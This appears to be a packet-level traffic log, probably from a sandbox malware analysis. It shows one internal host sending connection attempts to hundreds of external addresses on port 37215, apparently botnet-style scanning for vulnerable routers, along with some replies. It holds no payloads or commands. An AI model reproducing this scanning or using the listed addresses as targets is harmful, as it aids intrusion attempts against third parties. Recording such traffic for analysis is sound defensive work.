Nov 3, 2024 15:37:20.479938030 CET	35945	37215	192.168.2.14	41.236.45.111
Nov 3, 2024 15:37:20.479967117 CET	35945	37215	192.168.2.14	197.143.141.31
Nov 3, 2024 15:37:20.479974031 CET	35945	37215	192.168.2.14	156.227.237.181
Nov 3, 2024 15:37:20.479993105 CET	35945	37215	192.168.2.14	41.209.234.253
Nov 3, 2024 15:37:20.480015039 CET	35945	37215	192.168.2.14	41.207.122.117
Nov 3, 2024 15:37:20.480034113 CET	35945	37215	192.168.2.14	41.246.188.95
Nov 3, 2024 15:37:20.480056047 CET	35945	37215	192.168.2.14	197.159.41.232
Nov 3, 2024 15:37:20.480079889 CET	35945	37215	192.168.2.14	197.75.44.39
Nov 3, 2024 15:37:20.480108976 CET	35945	37215	192.168.2.14	41.77.148.222
Nov 3, 2024 15:37:20.480128050 CET	35945	37215	192.168.2.14	156.114.167.50
Nov 3, 2024 15:37:20.480139017 CET	35945	37215	192.168.2.14	156.171.86.249
Nov 3, 2024 15:37:20.480158091 CET	35945	37215	192.168.2.14	197.214.114.93
Nov 3, 2024 15:37:20.480168104 CET	35945	37215	192.168.2.14	41.91.4.57
Nov 3, 2024 15:37:20.480182886 CET	35945	37215	192.168.2.14	197.141.254.196
Nov 3, 2024 15:37:20.480209112 CET	35945	37215	192.168.2.14	197.54.189.135
Nov 3, 2024 15:37:20.480235100 CET	35945	37215	192.168.2.14	197.215.158.6
Nov 3, 2024 15:37:20.480256081 CET	35945	37215	192.168.2.14	197.162.152.8
Nov 3, 2024 15:37:20.480278969 CET	35945	37215	192.168.2.14	41.156.84.41
Nov 3, 2024 15:37:20.480290890 CET	35945	37215	192.168.2.14	156.43.191.93
Nov 3, 2024 15:37:20.480303049 CET	35945	37215	192.168.2.14	197.99.121.24
Nov 3, 2024 15:37:20.480313063 CET	35945	37215	192.168.2.14	156.48.29.247
Nov 3, 2024 15:37:20.480331898 CET	35945	37215	192.168.2.14	41.94.49.189
Nov 3, 2024 15:37:20.480350971 CET	35945	37215	192.168.2.14	197.210.250.40
Nov 3, 2024 15:37:20.480376959 CET	35945	37215	192.168.2.14	197.179.246.92
Nov 3, 2024 15:37:20.480391979 CET	35945	37215	192.168.2.14	197.5.169.121
Nov 3, 2024 15:37:20.480415106 CET	35945	37215	192.168.2.14	197.22.77.225
Nov 3, 2024 15:37:20.480436087 CET	35945	37215	192.168.2.14	156.248.67.140
Nov 3, 2024 15:37:20.480446100 CET	35945	37215	192.168.2.14	156.22.189.123
Nov 3, 2024 15:37:20.480478048 CET	35945	37215	192.168.2.14	197.183.220.52
Nov 3, 2024 15:37:20.480489016 CET	35945	37215	192.168.2.14	197.154.174.70
Nov 3, 2024 15:37:20.480496883 CET	35945	37215	192.168.2.14	41.240.227.12
Nov 3, 2024 15:37:20.480515957 CET	35945	37215	192.168.2.14	197.204.211.75
Nov 3, 2024 15:37:20.480524063 CET	35945	37215	192.168.2.14	41.32.25.0
Nov 3, 2024 15:37:20.480551958 CET	35945	37215	192.168.2.14	41.172.157.123
Nov 3, 2024 15:37:20.480560064 CET	35945	37215	192.168.2.14	197.33.246.239
Nov 3, 2024 15:37:20.480582952 CET	35945	37215	192.168.2.14	197.252.102.30
Nov 3, 2024 15:37:20.480601072 CET	35945	37215	192.168.2.14	156.198.17.76
Nov 3, 2024 15:37:20.480612993 CET	35945	37215	192.168.2.14	41.154.179.134
Nov 3, 2024 15:37:20.480638981 CET	35945	37215	192.168.2.14	197.237.25.172
Nov 3, 2024 15:37:20.480645895 CET	35945	37215	192.168.2.14	41.68.50.152
Nov 3, 2024 15:37:20.480659008 CET	35945	37215	192.168.2.14	156.115.188.177
Nov 3, 2024 15:37:20.480690002 CET	35945	37215	192.168.2.14	197.52.212.114
Nov 3, 2024 15:37:20.480698109 CET	35945	37215	192.168.2.14	156.173.158.49
Nov 3, 2024 15:37:20.480712891 CET	35945	37215	192.168.2.14	41.213.152.115
Nov 3, 2024 15:37:20.480731964 CET	35945	37215	192.168.2.14	156.125.214.186
Nov 3, 2024 15:37:20.480751038 CET	35945	37215	192.168.2.14	197.176.185.95
Nov 3, 2024 15:37:20.480773926 CET	35945	37215	192.168.2.14	41.192.126.63
Nov 3, 2024 15:37:20.480782986 CET	35945	37215	192.168.2.14	197.242.101.191
Nov 3, 2024 15:37:20.480799913 CET	35945	37215	192.168.2.14	41.26.204.20
Nov 3, 2024 15:37:20.480814934 CET	35945	37215	192.168.2.14	41.109.9.249
Nov 3, 2024 15:37:20.480834961 CET	35945	37215	192.168.2.14	41.43.225.41
Nov 3, 2024 15:37:20.480856895 CET	35945	37215	192.168.2.14	41.93.52.29
Nov 3, 2024 15:37:20.480880022 CET	35945	37215	192.168.2.14	41.209.246.143
Nov 3, 2024 15:37:20.480895042 CET	35945	37215	192.168.2.14	197.130.248.44
Nov 3, 2024 15:37:20.480927944 CET	35945	37215	192.168.2.14	156.90.10.53
Nov 3, 2024 15:37:20.480928898 CET	35945	37215	192.168.2.14	197.161.179.233
Nov 3, 2024 15:37:20.480946064 CET	35945	37215	192.168.2.14	41.49.184.172
Nov 3, 2024 15:37:20.480953932 CET	35945	37215	192.168.2.14	197.67.176.199
Nov 3, 2024 15:37:20.480978012 CET	35945	37215	192.168.2.14	197.63.246.215
Nov 3, 2024 15:37:20.481000900 CET	35945	37215	192.168.2.14	41.86.226.127
Nov 3, 2024 15:37:20.481014013 CET	35945	37215	192.168.2.14	41.159.137.247
Nov 3, 2024 15:37:20.481040001 CET	35945	37215	192.168.2.14	156.213.238.238
Nov 3, 2024 15:37:20.481050968 CET	35945	37215	192.168.2.14	197.147.249.215
Nov 3, 2024 15:37:20.481069088 CET	35945	37215	192.168.2.14	41.82.50.104
Nov 3, 2024 15:37:20.481077909 CET	35945	37215	192.168.2.14	197.158.12.175
Nov 3, 2024 15:37:20.481093884 CET	35945	37215	192.168.2.14	41.219.208.233
Nov 3, 2024 15:37:20.481108904 CET	35945	37215	192.168.2.14	41.131.6.43
Nov 3, 2024 15:37:20.481127977 CET	35945	37215	192.168.2.14	197.135.178.59
Nov 3, 2024 15:37:20.481144905 CET	35945	37215	192.168.2.14	41.198.129.122
Nov 3, 2024 15:37:20.481153965 CET	35945	37215	192.168.2.14	156.138.253.4
Nov 3, 2024 15:37:20.481194019 CET	35945	37215	192.168.2.14	197.15.166.31
Nov 3, 2024 15:37:20.481215954 CET	35945	37215	192.168.2.14	41.10.195.138
Nov 3, 2024 15:37:20.481239080 CET	35945	37215	192.168.2.14	41.8.140.227
Nov 3, 2024 15:37:20.481265068 CET	35945	37215	192.168.2.14	41.200.86.8
Nov 3, 2024 15:37:20.481276035 CET	35945	37215	192.168.2.14	41.151.130.143
Nov 3, 2024 15:37:20.481296062 CET	35945	37215	192.168.2.14	41.70.15.29
Nov 3, 2024 15:37:20.481317997 CET	35945	37215	192.168.2.14	197.122.145.254
Nov 3, 2024 15:37:20.481348038 CET	35945	37215	192.168.2.14	41.157.84.37
Nov 3, 2024 15:37:20.481365919 CET	35945	37215	192.168.2.14	197.52.170.135
Nov 3, 2024 15:37:20.481379032 CET	35945	37215	192.168.2.14	197.176.158.58
Nov 3, 2024 15:37:20.481400013 CET	35945	37215	192.168.2.14	41.193.23.239
Nov 3, 2024 15:37:20.481420040 CET	35945	37215	192.168.2.14	197.45.53.139
Nov 3, 2024 15:37:20.481432915 CET	35945	37215	192.168.2.14	197.115.214.171
Nov 3, 2024 15:37:20.481452942 CET	35945	37215	192.168.2.14	197.126.244.206
Nov 3, 2024 15:37:20.481471062 CET	35945	37215	192.168.2.14	41.123.246.125
Nov 3, 2024 15:37:20.481489897 CET	35945	37215	192.168.2.14	41.205.165.249
Nov 3, 2024 15:37:20.481523037 CET	35945	37215	192.168.2.14	197.14.105.165
Nov 3, 2024 15:37:20.481542110 CET	35945	37215	192.168.2.14	156.144.32.155
Nov 3, 2024 15:37:20.481568098 CET	35945	37215	192.168.2.14	41.218.109.96
Nov 3, 2024 15:37:20.481587887 CET	35945	37215	192.168.2.14	156.75.90.33
Nov 3, 2024 15:37:20.481601954 CET	35945	37215	192.168.2.14	41.90.86.90
Nov 3, 2024 15:37:20.481621981 CET	35945	37215	192.168.2.14	41.104.82.65
Nov 3, 2024 15:37:20.481632948 CET	35945	37215	192.168.2.14	197.122.56.81
Nov 3, 2024 15:37:20.481661081 CET	35945	37215	192.168.2.14	156.46.19.53
Nov 3, 2024 15:37:20.481674910 CET	35945	37215	192.168.2.14	156.157.22.188
Nov 3, 2024 15:37:20.481693983 CET	35945	37215	192.168.2.14	41.14.161.126
Nov 3, 2024 15:37:20.481718063 CET	35945	37215	192.168.2.14	41.54.173.178
Nov 3, 2024 15:37:20.481735945 CET	35945	37215	192.168.2.14	41.156.2.26
Nov 3, 2024 15:37:20.481744051 CET	35945	37215	192.168.2.14	156.30.15.16
Nov 3, 2024 15:37:20.481771946 CET	35945	37215	192.168.2.14	197.9.244.118
Nov 3, 2024 15:37:20.481786013 CET	35945	37215	192.168.2.14	156.236.237.21
Nov 3, 2024 15:37:20.481811047 CET	35945	37215	192.168.2.14	156.54.68.240
Nov 3, 2024 15:37:20.481822014 CET	35945	37215	192.168.2.14	197.37.60.119
Nov 3, 2024 15:37:20.481838942 CET	35945	37215	192.168.2.14	41.252.78.8
Nov 3, 2024 15:37:20.481856108 CET	35945	37215	192.168.2.14	41.111.16.236
Nov 3, 2024 15:37:20.481879950 CET	35945	37215	192.168.2.14	197.150.207.247
Nov 3, 2024 15:37:20.481889009 CET	35945	37215	192.168.2.14	156.123.140.129
Nov 3, 2024 15:37:20.481910944 CET	35945	37215	192.168.2.14	197.31.205.255
Nov 3, 2024 15:37:20.481914997 CET	35945	37215	192.168.2.14	156.100.148.234
Nov 3, 2024 15:37:20.481935024 CET	23	34572	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:20.481947899 CET	35945	37215	192.168.2.14	197.217.52.207
Nov 3, 2024 15:37:20.481960058 CET	35945	37215	192.168.2.14	197.255.162.170
Nov 3, 2024 15:37:20.481983900 CET	35945	37215	192.168.2.14	41.1.206.44
Nov 3, 2024 15:37:20.482007980 CET	35945	37215	192.168.2.14	156.51.244.147
Nov 3, 2024 15:37:20.482021093 CET	35945	37215	192.168.2.14	41.103.74.87
Nov 3, 2024 15:37:20.482044935 CET	35945	37215	192.168.2.14	197.213.44.221
Nov 3, 2024 15:37:20.482064009 CET	35945	37215	192.168.2.14	156.69.143.97
Nov 3, 2024 15:37:20.482074976 CET	35945	37215	192.168.2.14	156.190.71.183
Nov 3, 2024 15:37:20.482081890 CET	35945	37215	192.168.2.14	197.238.75.39
Nov 3, 2024 15:37:20.482095003 CET	35945	37215	192.168.2.14	156.143.90.222
Nov 3, 2024 15:37:20.482119083 CET	35945	37215	192.168.2.14	156.232.142.39
Nov 3, 2024 15:37:20.482131958 CET	35945	37215	192.168.2.14	41.129.81.186
Nov 3, 2024 15:37:20.482155085 CET	35945	37215	192.168.2.14	41.176.216.28
Nov 3, 2024 15:37:20.482167959 CET	35945	37215	192.168.2.14	156.144.117.165
Nov 3, 2024 15:37:20.482198954 CET	35945	37215	192.168.2.14	156.11.109.244
Nov 3, 2024 15:37:20.482237101 CET	35945	37215	192.168.2.14	156.232.221.181
Nov 3, 2024 15:37:20.482239962 CET	35945	37215	192.168.2.14	156.160.162.78
Nov 3, 2024 15:37:20.482254028 CET	35945	37215	192.168.2.14	197.38.36.138
Nov 3, 2024 15:37:20.482280970 CET	35945	37215	192.168.2.14	41.97.223.174
Nov 3, 2024 15:37:20.482300997 CET	35945	37215	192.168.2.14	156.73.114.47
Nov 3, 2024 15:37:20.482312918 CET	35945	37215	192.168.2.14	41.165.173.193
Nov 3, 2024 15:37:20.482336998 CET	35945	37215	192.168.2.14	197.137.186.101
Nov 3, 2024 15:37:20.482348919 CET	35945	37215	192.168.2.14	156.145.95.1
Nov 3, 2024 15:37:20.482367992 CET	35945	37215	192.168.2.14	41.107.220.166
Nov 3, 2024 15:37:20.482378006 CET	35945	37215	192.168.2.14	197.226.157.149
Nov 3, 2024 15:37:20.482399940 CET	35945	37215	192.168.2.14	197.147.147.219
Nov 3, 2024 15:37:20.482409954 CET	35945	37215	192.168.2.14	41.47.8.12
Nov 3, 2024 15:37:20.482435942 CET	35945	37215	192.168.2.14	41.107.21.79
Nov 3, 2024 15:37:20.482446909 CET	35945	37215	192.168.2.14	197.5.42.134
Nov 3, 2024 15:37:20.482464075 CET	35945	37215	192.168.2.14	197.208.9.177
Nov 3, 2024 15:37:20.482482910 CET	35945	37215	192.168.2.14	156.244.97.29
Nov 3, 2024 15:37:20.482501984 CET	35945	37215	192.168.2.14	156.242.131.167
Nov 3, 2024 15:37:20.482523918 CET	35945	37215	192.168.2.14	41.77.18.195
Nov 3, 2024 15:37:20.482541084 CET	35945	37215	192.168.2.14	156.191.127.160
Nov 3, 2024 15:37:20.482558966 CET	35945	37215	192.168.2.14	197.64.25.45
Nov 3, 2024 15:37:20.482590914 CET	35945	37215	192.168.2.14	41.106.66.233
Nov 3, 2024 15:37:20.482594013 CET	35945	37215	192.168.2.14	156.226.167.249
Nov 3, 2024 15:37:20.482613087 CET	35945	37215	192.168.2.14	41.29.0.97
Nov 3, 2024 15:37:20.482630968 CET	35945	37215	192.168.2.14	41.29.127.70
Nov 3, 2024 15:37:20.482655048 CET	35945	37215	192.168.2.14	197.115.182.233
Nov 3, 2024 15:37:20.482667923 CET	35945	37215	192.168.2.14	156.114.164.185
Nov 3, 2024 15:37:20.482680082 CET	35945	37215	192.168.2.14	156.231.227.145
Nov 3, 2024 15:37:20.482708931 CET	35945	37215	192.168.2.14	156.99.111.126
Nov 3, 2024 15:37:20.482717037 CET	35945	37215	192.168.2.14	197.123.131.136
Nov 3, 2024 15:37:20.482741117 CET	35945	37215	192.168.2.14	197.57.210.76
Nov 3, 2024 15:37:20.482758045 CET	35945	37215	192.168.2.14	197.121.65.93
Nov 3, 2024 15:37:20.482784986 CET	35945	37215	192.168.2.14	197.102.12.227
Nov 3, 2024 15:37:20.482795954 CET	35945	37215	192.168.2.14	197.31.229.95
Nov 3, 2024 15:37:20.482811928 CET	35945	37215	192.168.2.14	41.205.39.186
Nov 3, 2024 15:37:20.482817888 CET	35945	37215	192.168.2.14	41.183.78.20
Nov 3, 2024 15:37:20.482842922 CET	35945	37215	192.168.2.14	156.196.109.51
Nov 3, 2024 15:37:20.482871056 CET	35945	37215	192.168.2.14	41.12.11.250
Nov 3, 2024 15:37:20.482886076 CET	35945	37215	192.168.2.14	197.197.221.1
Nov 3, 2024 15:37:20.482913971 CET	35945	37215	192.168.2.14	197.202.197.239
Nov 3, 2024 15:37:20.482934952 CET	35945	37215	192.168.2.14	197.230.109.4
Nov 3, 2024 15:37:20.482949972 CET	35945	37215	192.168.2.14	41.78.171.129
Nov 3, 2024 15:37:20.482969999 CET	35945	37215	192.168.2.14	41.59.177.229
Nov 3, 2024 15:37:20.482995033 CET	35945	37215	192.168.2.14	197.206.252.123
Nov 3, 2024 15:37:20.483011007 CET	35945	37215	192.168.2.14	41.88.196.61
Nov 3, 2024 15:37:20.483036041 CET	35945	37215	192.168.2.14	197.73.120.252
Nov 3, 2024 15:37:20.483036041 CET	35945	37215	192.168.2.14	156.159.21.242
Nov 3, 2024 15:37:20.483052015 CET	35945	37215	192.168.2.14	156.251.233.72
Nov 3, 2024 15:37:20.483078003 CET	35945	37215	192.168.2.14	41.104.151.231
Nov 3, 2024 15:37:20.483088970 CET	35945	37215	192.168.2.14	156.56.40.158
Nov 3, 2024 15:37:20.483108997 CET	35945	37215	192.168.2.14	197.39.179.116
Nov 3, 2024 15:37:20.483124971 CET	35945	37215	192.168.2.14	156.198.250.200
Nov 3, 2024 15:37:20.483139992 CET	35945	37215	192.168.2.14	156.193.180.151
Nov 3, 2024 15:37:20.483161926 CET	35945	37215	192.168.2.14	197.52.103.179
Nov 3, 2024 15:37:20.483180046 CET	35945	37215	192.168.2.14	41.126.176.112
Nov 3, 2024 15:37:20.483207941 CET	35945	37215	192.168.2.14	197.128.175.107
Nov 3, 2024 15:37:20.483216047 CET	35945	37215	192.168.2.14	156.216.23.27
Nov 3, 2024 15:37:20.483232975 CET	35945	37215	192.168.2.14	156.80.7.242
Nov 3, 2024 15:37:20.483253956 CET	35945	37215	192.168.2.14	197.131.197.137
Nov 3, 2024 15:37:20.483272076 CET	35945	37215	192.168.2.14	197.201.89.242
Nov 3, 2024 15:37:20.483278990 CET	35945	37215	192.168.2.14	41.54.97.21
Nov 3, 2024 15:37:20.483298063 CET	35945	37215	192.168.2.14	41.254.60.193
Nov 3, 2024 15:37:20.483320951 CET	35945	37215	192.168.2.14	156.186.69.176
Nov 3, 2024 15:37:20.483345985 CET	35945	37215	192.168.2.14	156.241.230.13
Nov 3, 2024 15:37:20.483361006 CET	35945	37215	192.168.2.14	41.33.215.12
Nov 3, 2024 15:37:20.483382940 CET	35945	37215	192.168.2.14	156.231.157.242
Nov 3, 2024 15:37:20.483388901 CET	35945	37215	192.168.2.14	41.198.70.130
Nov 3, 2024 15:37:20.483406067 CET	35945	37215	192.168.2.14	41.107.251.4
Nov 3, 2024 15:37:20.483426094 CET	35945	37215	192.168.2.14	156.5.53.246
Nov 3, 2024 15:37:20.483445883 CET	35945	37215	192.168.2.14	41.109.186.239
Nov 3, 2024 15:37:20.483469963 CET	35945	37215	192.168.2.14	197.120.124.100
Nov 3, 2024 15:37:20.483478069 CET	35945	37215	192.168.2.14	41.173.81.162
Nov 3, 2024 15:37:20.483498096 CET	35945	37215	192.168.2.14	197.3.104.74
Nov 3, 2024 15:37:20.483505011 CET	35945	37215	192.168.2.14	197.108.220.97
Nov 3, 2024 15:37:20.483527899 CET	35945	37215	192.168.2.14	197.172.102.126
Nov 3, 2024 15:37:20.483551979 CET	35945	37215	192.168.2.14	197.107.4.14
Nov 3, 2024 15:37:20.483565092 CET	35945	37215	192.168.2.14	156.130.205.94
Nov 3, 2024 15:37:20.483592987 CET	35945	37215	192.168.2.14	41.79.54.222
Nov 3, 2024 15:37:20.483616114 CET	35945	37215	192.168.2.14	197.69.59.132
Nov 3, 2024 15:37:20.483635902 CET	35945	37215	192.168.2.14	41.113.111.11
Nov 3, 2024 15:37:20.483655930 CET	35945	37215	192.168.2.14	156.238.37.65
Nov 3, 2024 15:37:20.483675003 CET	35945	37215	192.168.2.14	197.151.208.101
Nov 3, 2024 15:37:20.483690023 CET	35945	37215	192.168.2.14	156.241.76.117
Nov 3, 2024 15:37:20.483710051 CET	35945	37215	192.168.2.14	156.197.23.17
Nov 3, 2024 15:37:20.483732939 CET	35945	37215	192.168.2.14	41.0.100.163
Nov 3, 2024 15:37:20.483743906 CET	37215	50390	197.146.222.70	192.168.2.14
Nov 3, 2024 15:37:20.483745098 CET	35945	37215	192.168.2.14	156.25.95.251
Nov 3, 2024 15:37:20.483755112 CET	37215	45654	41.187.40.170	192.168.2.14
Nov 3, 2024 15:37:20.483767986 CET	37215	41744	156.1.29.107	192.168.2.14
Nov 3, 2024 15:37:20.483782053 CET	35945	37215	192.168.2.14	197.42.84.45
Nov 3, 2024 15:37:20.483803034 CET	37215	53048	156.135.86.124	192.168.2.14
Nov 3, 2024 15:37:20.483825922 CET	35945	37215	192.168.2.14	197.74.47.164
Nov 3, 2024 15:37:20.483838081 CET	35945	37215	192.168.2.14	197.254.126.6
Nov 3, 2024 15:37:20.483861923 CET	35945	37215	192.168.2.14	156.109.218.148
Nov 3, 2024 15:37:20.483875990 CET	35945	37215	192.168.2.14	41.183.164.104
Nov 3, 2024 15:37:20.483886003 CET	37215	59220	197.180.247.83	192.168.2.14
Nov 3, 2024 15:37:20.483891010 CET	35945	37215	192.168.2.14	156.220.50.147
Nov 3, 2024 15:37:20.483917952 CET	35945	37215	192.168.2.14	156.207.25.168
Nov 3, 2024 15:37:20.483939886 CET	37215	57962	197.187.11.183	192.168.2.14
Nov 3, 2024 15:37:20.483952999 CET	35945	37215	192.168.2.14	156.123.170.95
Nov 3, 2024 15:37:20.483983994 CET	37215	56492	197.160.111.112	192.168.2.14
Nov 3, 2024 15:37:20.483990908 CET	35945	37215	192.168.2.14	41.195.131.157
Nov 3, 2024 15:37:20.484002113 CET	35945	37215	192.168.2.14	41.155.197.8
Nov 3, 2024 15:37:20.484028101 CET	35945	37215	192.168.2.14	197.81.148.65
Nov 3, 2024 15:37:20.484035969 CET	35945	37215	192.168.2.14	41.63.153.144
Nov 3, 2024 15:37:20.484055042 CET	35945	37215	192.168.2.14	41.239.4.217
Nov 3, 2024 15:37:20.484055042 CET	37215	51632	156.225.238.60	192.168.2.14
Nov 3, 2024 15:37:20.484075069 CET	35945	37215	192.168.2.14	197.131.149.26
Nov 3, 2024 15:37:20.484111071 CET	35945	37215	192.168.2.14	197.40.35.33
Nov 3, 2024 15:37:20.484123945 CET	35945	37215	192.168.2.14	41.185.114.162
Nov 3, 2024 15:37:20.484138966 CET	37215	49824	41.129.72.93	192.168.2.14
Nov 3, 2024 15:37:20.484153986 CET	35945	37215	192.168.2.14	197.20.26.109
Nov 3, 2024 15:37:20.484169960 CET	35945	37215	192.168.2.14	156.21.111.14
Nov 3, 2024 15:37:20.484181881 CET	37215	41844	197.136.16.17	192.168.2.14
Nov 3, 2024 15:37:20.484205961 CET	35945	37215	192.168.2.14	197.125.94.247
Nov 3, 2024 15:37:20.484236002 CET	35945	37215	192.168.2.14	156.248.251.58
Nov 3, 2024 15:37:20.484242916 CET	37215	35945	41.46.249.121	192.168.2.14
Nov 3, 2024 15:37:20.484251976 CET	37215	44086	156.244.173.36	192.168.2.14
Nov 3, 2024 15:37:20.484257936 CET	35945	37215	192.168.2.14	41.50.224.24
Nov 3, 2024 15:37:20.484289885 CET	35945	37215	192.168.2.14	41.46.249.121
Nov 3, 2024 15:37:20.484312057 CET	35945	37215	192.168.2.14	197.159.226.25
Nov 3, 2024 15:37:20.484333038 CET	35945	37215	192.168.2.14	41.24.197.152
Nov 3, 2024 15:37:20.484345913 CET	35945	37215	192.168.2.14	41.19.235.154
Nov 3, 2024 15:37:20.484358072 CET	35945	37215	192.168.2.14	197.169.1.252
Nov 3, 2024 15:37:20.484369993 CET	35945	37215	192.168.2.14	41.132.156.85
Nov 3, 2024 15:37:20.484376907 CET	37215	45250	156.58.86.200	192.168.2.14
Nov 3, 2024 15:37:20.484395027 CET	35945	37215	192.168.2.14	156.206.85.111
Nov 3, 2024 15:37:20.484417915 CET	37215	44396	197.95.159.78	192.168.2.14
Nov 3, 2024 15:37:20.484419107 CET	35945	37215	192.168.2.14	41.33.122.50
Nov 3, 2024 15:37:20.484443903 CET	35945	37215	192.168.2.14	197.124.111.55
Nov 3, 2024 15:37:20.484471083 CET	35945	37215	192.168.2.14	156.98.61.196
Nov 3, 2024 15:37:20.484492064 CET	35945	37215	192.168.2.14	156.236.17.65
Nov 3, 2024 15:37:20.484505892 CET	35945	37215	192.168.2.14	41.131.123.19
Nov 3, 2024 15:37:20.484512091 CET	37215	53874	156.106.155.75	192.168.2.14
Nov 3, 2024 15:37:20.484524965 CET	35945	37215	192.168.2.14	197.239.81.9
Nov 3, 2024 15:37:20.484541893 CET	35945	37215	192.168.2.14	41.163.99.249
Nov 3, 2024 15:37:20.484572887 CET	35945	37215	192.168.2.14	156.31.70.251
Nov 3, 2024 15:37:20.484595060 CET	35945	37215	192.168.2.14	197.180.176.89
Nov 3, 2024 15:37:20.484608889 CET	37215	50610	197.40.83.70	192.168.2.14
Nov 3, 2024 15:37:20.484618902 CET	35945	37215	192.168.2.14	156.31.94.73
Nov 3, 2024 15:37:20.484626055 CET	35945	37215	192.168.2.14	197.159.51.34
Nov 3, 2024 15:37:20.484641075 CET	35945	37215	192.168.2.14	197.146.183.90
Nov 3, 2024 15:37:20.484653950 CET	35945	37215	192.168.2.14	41.50.64.240
Nov 3, 2024 15:37:20.484671116 CET	35945	37215	192.168.2.14	197.237.48.190
Nov 3, 2024 15:37:20.484675884 CET	35945	37215	192.168.2.14	156.212.251.133
Nov 3, 2024 15:37:20.484700918 CET	35945	37215	192.168.2.14	41.3.101.72
Nov 3, 2024 15:37:20.484724045 CET	35945	37215	192.168.2.14	41.248.95.185
Nov 3, 2024 15:37:20.484744072 CET	35945	37215	192.168.2.14	41.169.84.186
Nov 3, 2024 15:37:20.484749079 CET	37215	50748	197.193.109.8	192.168.2.14
Nov 3, 2024 15:37:20.484824896 CET	37215	53406	156.23.22.42	192.168.2.14
Nov 3, 2024 15:37:20.484874964 CET	37215	50218	41.18.84.78	192.168.2.14
Nov 3, 2024 15:37:20.484952927 CET	37215	59706	156.12.15.170	192.168.2.14
Nov 3, 2024 15:37:20.484997988 CET	37215	42438	197.252.222.59	192.168.2.14
Nov 3, 2024 15:37:20.485183954 CET	42438	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:20.485204935 CET	50218	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:20.485205889 CET	59706	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:20.485227108 CET	53406	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:20.485240936 CET	50748	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:20.485248089 CET	50610	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:20.485265017 CET	44396	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:20.485266924 CET	53874	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:20.485280991 CET	45250	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:20.485311031 CET	41844	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:20.485312939 CET	44086	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:20.485331059 CET	57962	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:20.485331059 CET	49824	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:20.485332012 CET	51632	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:20.485331059 CET	56492	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:20.485332012 CET	59220	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:20.485347986 CET	53048	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:20.485358000 CET	41744	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:20.485364914 CET	45654	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:20.485383034 CET	50390	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:20.485609055 CET	45644	37215	192.168.2.14	41.46.249.121
Nov 3, 2024 15:37:20.485707045 CET	45654	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:20.485723019 CET	45654	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:20.485757113 CET	46170	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:20.485791922 CET	44784	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:20.485805035 CET	44784	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:20.485835075 CET	45300	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:20.485863924 CET	50390	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:20.485879898 CET	50390	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:20.485918045 CET	50906	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:20.485922098 CET	39338	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:20.485940933 CET	39338	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:20.485948086 CET	39854	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:20.485963106 CET	41744	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:20.485964060 CET	41744	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:20.485980988 CET	42258	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:20.486016035 CET	59220	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:20.486016035 CET	59220	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:20.486018896 CET	59738	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:20.486026049 CET	53048	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:20.486026049 CET	53048	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:20.486037970 CET	53564	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:20.486037970 CET	57962	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:20.486046076 CET	57962	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:20.486068010 CET	58478	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:20.486068010 CET	56492	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:20.486068010 CET	56492	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:20.486083984 CET	57008	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:20.486089945 CET	49824	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:20.486089945 CET	49824	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:20.486099005 CET	50340	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:20.486107111 CET	51632	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:20.486107111 CET	51632	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:20.486124039 CET	41844	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:20.486124039 CET	41844	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:20.486131907 CET	52148	37215	192.168.2.14	156.225.238.60
